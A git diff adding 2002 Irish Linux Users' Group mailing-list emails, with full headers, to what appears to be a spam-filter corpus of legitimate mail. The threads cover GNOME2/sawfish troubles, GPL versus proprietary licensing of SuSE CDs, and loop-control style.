gargnome & sawfish.. +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + I decided to try out GarGnome, to see what gnome2 looks like. It's +pretty, I'll give it that. + + However, there seemed to be loads of bugs - sawfish threw wobblers all +over the place, so I tryed out metacity - which doesn't have a GUI +configurator, and arsed if I'm going back to the fvwm days when you had to +set settings by hand, without an idea what the values looked like. + + So, I went back to 1.4 - and now sawfish can't start applets (yes, I did +change the LD_LIBRARY_PATH back) and the panel can't make new workspaces. + + Any ideas what could have happened ? Would sawfish 2.0 silently change +the config files & break them? + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00343.2b1d47e0483fab66551f76a681455ff6 b/bayes/spamham/easy_ham_2/00343.2b1d47e0483fab66551f76a681455ff6 new file mode 100644 index 0000000..79bdfd2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00343.2b1d47e0483fab66551f76a681455ff6 @@ -0,0 +1,81 @@ +From ilug-admin@linux.ie Mon Aug 12 11:07:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9AD2944160 + for ; Mon, 12 Aug 2002 05:56:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:09 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7C9jKb05919 for + ; Mon, 12 Aug 2002 10:45:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA05015; Mon, 12 Aug 2002 10:44:03 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web13906.mail.yahoo.com (web13906.mail.yahoo.com + [216.136.175.69]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id KAA04979 + for ; Mon, 12 Aug 2002 10:43:54 +0100 +Message-Id: <20020812094352.97487.qmail@web13906.mail.yahoo.com> +Received: from [62.254.164.117] by web13906.mail.yahoo.com via HTTP; + Mon, 12 Aug 2002 11:43:52 CEST +Date: Mon, 12 Aug 2002 11:43:52 +0200 (CEST) +From: =?iso-8859-1?q?Paul=20Linehan?= +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +To: ilug@linux.ie +In-Reply-To: <20020811182012.GD25331@linuxmafia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +Rick Moen a écrit: + +> You'll probably want to buy a retail boxed set, +> e.g., via mail order. + +> The only editions of SuSE for i386 that are lawful +> to duplicate and redistribute are as follows: + + +I'm confused. I thought it was GPL'ed and +that the money you paid SuSE was for your +60 day support or whatever? + +I don't particularly need support, so I'm not +really interested in purchasing a set of disks +with 4 billion apps which I'll never use. + +> I'm assuming in the above that you're talking about +> an i386-architecture computer. + + +Yes, thanks for your input. Anyway, I've a friend +with 7.3 pro, so I'll just ask him. + + + +Paul... + + +> Rick Moen + + + +___________________________________________________________ +Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français ! +Yahoo! Mail : http://fr.mail.yahoo.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00344.ff7eb63964aa85d7fc7cf9518b8bcdf1 b/bayes/spamham/easy_ham_2/00344.ff7eb63964aa85d7fc7cf9518b8bcdf1 new file mode 100644 index 0000000..f47bd66 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00344.ff7eb63964aa85d7fc7cf9518b8bcdf1 @@ -0,0 +1,106 @@ +From ilug-admin@linux.ie Mon Aug 12 18:50:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ADB524417B + for ; Mon, 12 Aug 2002 13:50:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 18:50:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CHoBb27789 for + ; Mon, 12 Aug 2002 18:50:11 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA30221; Mon, 12 Aug 2002 18:49:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web13904.mail.yahoo.com (web13904.mail.yahoo.com + [216.136.175.67]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id SAA30195 + for ; Mon, 12 Aug 2002 18:49:33 +0100 +Message-Id: <20020812174932.58511.qmail@web13904.mail.yahoo.com> +Received: from [159.134.179.247] by web13904.mail.yahoo.com via HTTP; + Mon, 12 Aug 2002 19:49:32 CEST +Date: Mon, 12 Aug 2002 19:49:32 +0200 (CEST) +From: =?iso-8859-1?q?Paul=20Linehan?= +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +To: ilug@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + + +wintermute a écrit: + + +> > I'm confused. I thought it was GPL'ed and +> > that the money you paid SuSE was for your +> > 60 day support or whatever? + + +> No, as of oh, about a year to a year and a half ago +> SuSE revoked it's free offering of it's retail +> distro. + +> Sometime about the start of the great slump, SuSE +> pulled free release of it's main x86 product. + + +Fine - nobody can oblige SuSE to do anything other +than put up the ftp version, but surely they +can't prevent a CD owner from burning a copy and +giving it to me? + +What is the GPL all about then? + +> I'm not sure on the details of it, but I think SuSE +> have probably done an OpenBSD of the cd they sell? + + +But *_surely_* they cannot BSD Linux? It's not +theirs to BSD! + + +> I could be wrong, I don't use SuSE so haven't +> investigated, but essentially the only 'free' +> version of SuSE will be it's tp offering. + + +Nobody can oblige them to give away anything +other than ftp - I'm not asking for that. I'm +asking for somebody who has Linux (GPL'ed) to +burn a copy for me and give it to me in exchange +for a reasonable consideration (say, the price of +the CDs and a bottle of Frascati or a couple of +pints?). + + +What does the GPL mean now? + + +I don't want their 60 days of free email support +or anything similar (if I did, I would pay for +it). + + +Paul... + + + + +___________________________________________________________ +Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français ! +Yahoo! Mail : http://fr.mail.yahoo.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00345.1cf8682c0c09b41678a4d779ea60a5ac b/bayes/spamham/easy_ham_2/00345.1cf8682c0c09b41678a4d779ea60a5ac new file mode 100644 index 0000000..c1488b6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00345.1cf8682c0c09b41678a4d779ea60a5ac @@ -0,0 +1,82 @@ +From ilug-admin@linux.ie Mon Aug 12 18:55:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9A2EF44178 + for ; Mon, 12 Aug 2002 13:55:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 18:55:45 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CHtLb27903 for + ; Mon, 12 Aug 2002 18:55:21 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA30631; Mon, 12 Aug 2002 18:54:38 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from cerberus.bluetree.ie (cerberus.bluetree.ie [62.17.24.129]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA30597 for + ; Mon, 12 Aug 2002 18:54:31 +0100 +Received: (from mail@localhost) by cerberus.bluetree.ie (8.11.6/8.11.6) id + g7CHsVq00576; Mon, 12 Aug 2002 18:54:31 +0100 +X-Virus-Checked: Checked on cerberus.bluetree.ie at Mon Aug 12 18:54:25 + IST 2002 +Received: from atlas.bluetree.ie (IDENT:root@atlas.bluetree.ie + [192.168.3.2]) by cerberus.bluetree.ie (8.11.6/8.11.6) with ESMTP id + g7CHsP800492; Mon, 12 Aug 2002 18:54:25 +0100 +Received: from arafel (arafel.bluetree.ie [192.168.3.42]) by + atlas.bluetree.ie (8.11.6/8.11.6) with SMTP id g7CHsPd25174; + Mon, 12 Aug 2002 18:54:25 +0100 +From: "Kenn Humborg" +To: "Paul Linehan" , +Subject: RE: [ILUG] SUSE 8 disks? (thread changed slightly) +Date: Mon, 12 Aug 2002 18:54:26 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +In-Reply-To: <20020812174932.58511.qmail@web13904.mail.yahoo.com> +Importance: Normal +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +> > No, as of oh, about a year to a year and a half ago +> > SuSE revoked it's free offering of it's retail +> > distro. +> +> > Sometime about the start of the great slump, SuSE +> > pulled free release of it's main x86 product. +> +> +> Fine - nobody can oblige SuSE to do anything other +> than put up the ftp version, but surely they +> can't prevent a CD owner from burning a copy and +> giving it to me? +> +> What is the GPL all about then? + +Not everything on the SuSE CDs is GPL-ed. IIRC, YAST +has a more "proprietary" license. There may be other +third-party commercial products on there as well, which +cannot be freely copied under the GPL. + +Later, +Kenn + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00346.2f9b84c3f47ce85fcf3f7ef74b9e0ac6 b/bayes/spamham/easy_ham_2/00346.2f9b84c3f47ce85fcf3f7ef74b9e0ac6 new file mode 100644 index 0000000..9e35edb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00346.2f9b84c3f47ce85fcf3f7ef74b9e0ac6 @@ -0,0 +1,119 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1E07344120 + for ; Tue, 13 Aug 2002 05:21:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:30 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CICub28559 for + ; Mon, 12 Aug 2002 19:12:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA31705; Mon, 12 Aug 2002 19:12:30 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA31673 for ; + Mon, 12 Aug 2002 19:12:23 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17eJfx-0008DV-00 for ; Mon, 12 Aug 2002 11:12:21 -0700 +Date: Mon, 12 Aug 2002 11:12:20 -0700 +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020812181220.GZ25331@linuxmafia.com> +References: <20020812174932.58511.qmail@web13904.mail.yahoo.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020812174932.58511.qmail@web13904.mail.yahoo.com> +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Paul Linehan (plinehan@yahoo.com): + +> What is the GPL all about then? + +(1) I'm sure you are not _actually_ under the delusion that everything +on a typical Linux distribution issued subject to the terms of the GNU +GPL. For one thing, it seems difficult to imagine you _not_ being aware +that XFree86 is under the X/MIT licence, that Perl is under the Perl +Artistic Licence, that Apache is under the Apache licence, and that +numerous BSD utilities are under the BSD licence. + +Furthermore, xv, Acrobat Reader, pine, pico, Netscape Communicator, and +a whole slew of other applications typically included aren't under any +open source licence at all, but rather are proprietary. + +(2) You seem, in any event, to be under a misconception as to what the +GPL provides, as to code under its umbrella. It says (in part) that +_if_ you have lawfully received a copy of covered binary code, then you +may insist on one of certain forms of access to the matching source +code. Please note that it does _not_ guarantee you any rights +whatsoever if nobody's decided to give you a lawful copy. + +> But *_surely_* they cannot BSD Linux? It's not theirs to BSD! + +Again, you seem to be under a misconception. If you check, I'm quite +confident you'll see that SuSE are in full compliance with GPL v. 2's +source-code access provisions concerning GPLed code included in their +distribution. And no, nobody has the legal right to alter licence terms +to someone else's copyrighted property. But you have not cited any +reasons to believe that SuSE have done any of those things. + +> Fine - nobody can oblige SuSE to do anything other than put up the ftp +> version, but surely they can't prevent a CD owner from burning a copy +> and giving it to me? + +See below. You and the CD owner would be committing copyright violation. +SuSE Linux AG are rather unlikely to knock down your door and haul you +down to a judge, if that's what you're asking. + +> Nobody can oblige them to give away anything other than ftp - I'm not +> asking for that. I'm asking for somebody who has Linux (GPL'ed) to +> burn a copy for me and give it to me in exchange for a reasonable +> consideration (say, the price of the CDs and a bottle of Frascati or a +> couple of pints?). + +You appear confused between Linux the kernel (which is a copyrighted +work to which source code access is guaranteed under the GNU GPL if +you've received a lawful copy of a binary version) and the rather +imprecise concept of a "Linux distribution", which is a number of works +under diverse licence terms collected onto some media. + +In the case of SuSE's boxed sets -- which are NOT lawful to duplicate +and redistribute in their entirety -- at least a couple of the +applications on them (YaST, YaST2, and the installer program) are +proprietary copyrighted works of SuSE Linux AG. In the general case, +duplicating and redistributing CD-ROMs containing those works is +copyright infringement. Illegal. No amount of hand-waving about the +GNU GPL is going to change that. + +(SuSE permit people to duplicate and redistribute the "evaluation" and +"live-eval" CD editions, despite that fact, as long as it is not "for +value".) + +If you want to have a SuSE boxed set to install from, buy one. + +> What does the GPL mean now? + +Suggestion: Read it. I would guess you've not yet done so. + +-- +Cheers, Live Faust, die Jung. +Rick Moen +rick@linuxmafia.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00347.345d2c25c6e5e7255b8f53291ff8ed9d b/bayes/spamham/easy_ham_2/00347.345d2c25c6e5e7255b8f53291ff8ed9d new file mode 100644 index 0000000..a9bd774 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00347.345d2c25c6e5e7255b8f53291ff8ed9d @@ -0,0 +1,114 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1CD2344121 + for ; Tue, 13 Aug 2002 05:21:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:32 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CIS9b29079 for + ; Mon, 12 Aug 2002 19:28:09 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA32291; Mon, 12 Aug 2002 19:26:34 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA32260 for ; + Mon, 12 Aug 2002 19:26:27 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17eJtZ-0000xe-00 for ; Mon, 12 Aug 2002 11:26:25 -0700 +Date: Mon, 12 Aug 2002 11:26:25 -0700 +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020812182625.GA25331@linuxmafia.com> +References: <20020812174932.58511.qmail@web13904.mail.yahoo.com> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Kenn Humborg (kenn@bluetree.ie): + +> Not everything on the SuSE CDs is GPL-ed. IIRC, YAST has a more +> "proprietary" license. There may be other third-party commercial +> products on there as well, which cannot be freely copied under the +> GPL. + +Indeed. + +The ftp'able tree (e.g., 8.0 for i386) contains to my knowledge only +items whose licences allow public redistribution, even where they aren't +open source. The retail boxed sets (Personal Edition, Professional +Edition, and Enterprise Edition) _add_ a number of additional +proprietary apps that are very much _not_ freely redistributable. +I made a list, a while back: + +Freely redistributable proprietary apps in SuSE +---------------------------------------------- +UofW pine/pico/pilot +John Bradley's xv graphics tool +T.C. Zhao and Mark Overmars's xforms/xformsd graphics toolkit +(some others) + +NON-freely redistributable apps (in boxed sets): +----------------------------------------------- +Siemens AG's DB4Web middleware +Poet Software Corp. FastObjects SDK for Java and C++ +IBM Java 2 +Intel-v92ham winmodem driver +MainConcept GmbH's MainActor video-editing package +www.mimer.com's MimerSQL +MGE UPS Systems's Personal Solution Pac (MGE power management software) +Real Networks's RealPlayer +Adobe Acrobat Reader +Software AG's ADABAS D +H+BEDV Datentechnik GmbH's AntiVir V +Knox Sofware Comm.'s Arkeia +Datan's dataplore digital-signal analysis package +Enterprise Solution Server (ESS) ERP system +Sun Microsystems Java2 +Borland Kylix Open Edition +Moneydance +OpenEIS enterprise information system +Opera Software's Opera browser +Heisch Automatisierungstechnik's rk512 serial interface to Simatic S5 / + S7 plcs +SAP database +Sun Microsystems Star Office +VMware, Inc's VMware +http://www.vshop.org/'s vshop e-commerce software for MySQL + + +All of the latter category either are available only via retail sale, or +are available lawfully on the public Internet only from authorised +distribution sites or on CDs from authorised distributors. The exact +terms differ. + +For example, you can download Borland Kylix Open Edition from +borland.com, free of charge -- but you'll notice there's no mention of +any right to redistribute. That right is reserved by default to the +copyright owners, and Borland doesn't include it in the Kylix +proprietary licence. + +-- +Cheers, "We're sorry; you have reached an imaginary number. +Rick Moen Please rotate your 'phone ninety degrees and try again." +rick@linuxmafia.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00348.dc559463315c31029a866ccb852b512d b/bayes/spamham/easy_ham_2/00348.dc559463315c31029a866ccb852b512d new file mode 100644 index 0000000..3dd1fdc --- /dev/null +++ b/bayes/spamham/easy_ham_2/00348.dc559463315c31029a866ccb852b512d @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C827043C61 + for ; Tue, 13 Aug 2002 05:21:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:33 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CIsDb29808 for + ; Mon, 12 Aug 2002 19:54:13 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA01058; Mon, 12 Aug 2002 19:52:57 +0100 +Received: from mail.go2.ie ([62.17.153.101]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA01032 for ; Mon, + 12 Aug 2002 19:52:51 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.153.101] claimed to + be mail.go2.ie +Received: from k100-50.bas1.dbn.dublin.eircom.net + (k100-50.bas1.dbn.dublin.eircom.net [159.134.100.50]) by mail.go2.ie + (Postfix) with ESMTP id ECD5D10F2 for ; Mon, 12 Aug 2002 + 19:52:17 +0100 (IST) +Subject: Re: [ILUG] slashdot EW Dijkstra humor +From: Nick Murtagh +To: ilug@linux.ie +In-Reply-To: <200208121109.g7CB9WfE006890@sionnach.ireland.sun.com> +References: <200208121109.g7CB9WfE006890@sionnach.ireland.sun.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8-3mdk +Date: 12 Aug 2002 19:52:06 +0100 +Message-Id: <1029178327.9147.3.camel@gemini.windmill> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Mon, 2002-08-12 at 12:09, Albert White - SUN Ireland wrote: +> If you want to stop in the middle of that because some condition is set then +> you probably should have used a while loop instead of `for`: +> i:=0 +> flag:=false +> while [ i != 100 && flag != true ] +> do +> .... +> # found our special case set flag to jump out of loop +> flag:=true +> .... +> i++; +> done +> +> If you're using a break or similar construct in a while loop then you might +> want to rethink your guard condition. + +Good point, I didn't think of that. However, that doesn't help with a +case statement, which IMHO is cleaner than using an if statement if you +have a lot of branches... but then again maybe that should be refactored +away with polymorphism :) + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00349.335e1da552568724040e799bf3b1d582 b/bayes/spamham/easy_ham_2/00349.335e1da552568724040e799bf3b1d582 new file mode 100644 index 0000000..9c7f2a9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00349.335e1da552568724040e799bf3b1d582 @@ -0,0 +1,74 @@ +From ilug-admin@linux.ie Tue Aug 13 10:28:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E753D44122 + for ; Tue, 13 Aug 2002 05:21:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:34 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CIvxb30038 for + ; Mon, 12 Aug 2002 19:57:59 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA01285; Mon, 12 Aug 2002 19:57:16 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from cerberus.bluetree.ie (cerberus.bluetree.ie [62.17.24.129]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA01250 for + ; Mon, 12 Aug 2002 19:57:04 +0100 +Received: (from mail@localhost) by cerberus.bluetree.ie (8.11.6/8.11.6) id + g7CIuUW03746; Mon, 12 Aug 2002 19:56:30 +0100 +X-Virus-Checked: Checked on cerberus.bluetree.ie at Mon Aug 12 19:56:24 + IST 2002 +Received: from atlas.bluetree.ie (IDENT:root@atlas.bluetree.ie + [192.168.3.2]) by cerberus.bluetree.ie (8.11.6/8.11.6) with ESMTP id + g7CIuO803666; Mon, 12 Aug 2002 19:56:24 +0100 +Received: from arafel (arafel.bluetree.ie [192.168.3.42]) by + atlas.bluetree.ie (8.11.6/8.11.6) with SMTP id g7CIuNd26448; + Mon, 12 Aug 2002 19:56:24 +0100 +From: "Kenn Humborg" +To: "Nick Murtagh" , +Subject: RE: [ILUG] slashdot EW Dijkstra humor +Date: Mon, 12 Aug 2002 19:56:23 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +In-Reply-To: <1029178327.9147.3.camel@gemini.windmill> +Importance: Normal +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> > If you're using a break or similar construct in a while loop +> then you might +> > want to rethink your guard condition. +> +> Good point, I didn't think of that. However, that doesn't help with a +> case statement, which IMHO is cleaner than using an if statement if you +> have a lot of branches... but then again maybe that should be refactored +> away with polymorphism :) + +Well, you should consider 'break' inside a 'select' statement +to be part of the syntax, rather than a control flow modifier. + +A _mandatory_ part of the syntax, at that. + +Later, +Kenn + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00350.e738a16c1483dfda97d5862b4a9a77f8 b/bayes/spamham/easy_ham_2/00350.e738a16c1483dfda97d5862b4a9a77f8 new file mode 100644 index 0000000..8e4f892 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00350.e738a16c1483dfda97d5862b4a9a77f8 @@ -0,0 +1,80 @@ +From ilug-admin@linux.ie Tue Aug 13 10:27:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0C8DA43C60 + for ; Tue, 13 Aug 2002 05:21:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:29 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CHxub28133 for + ; Mon, 12 Aug 2002 18:59:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA30914; Mon, 12 Aug 2002 18:59:29 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web13901.mail.yahoo.com (web13901.mail.yahoo.com + [216.136.175.27]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id SAA30881 + for ; Mon, 12 Aug 2002 18:59:22 +0100 +Message-Id: <20020812175921.63263.qmail@web13901.mail.yahoo.com> +Received: from [159.134.179.247] by web13901.mail.yahoo.com via HTTP; + Mon, 12 Aug 2002 19:59:21 CEST +Date: Mon, 12 Aug 2002 19:59:21 +0200 (CEST) +From: =?iso-8859-1?q?Paul=20Linehan?= +To: ilug@linux.ie +In-Reply-To: <20020812105644.GK1920@jinny.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] To hell with SuSE - is there a distro I can get (Was: SUSE 8 disks? (thread changed slightly)) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +"John P. Looney" a écrit: + +> > I'm confused. I thought it was GPL'ed and +> > that the money you paid SuSE was for your +> > 60 day support or whatever? + +> The RPMS are. The distribution as a whole work is +> copyright of SuSE. + + +This IMHO, goes against the spirit of GPL. + + +Thanks for the info. + + +Is there any distro (pref. Mandrake or failing +that, Red Hat or other) out there for which people +have disks, are prepared to burn copies and are +allowed give to me for a small fee? + + 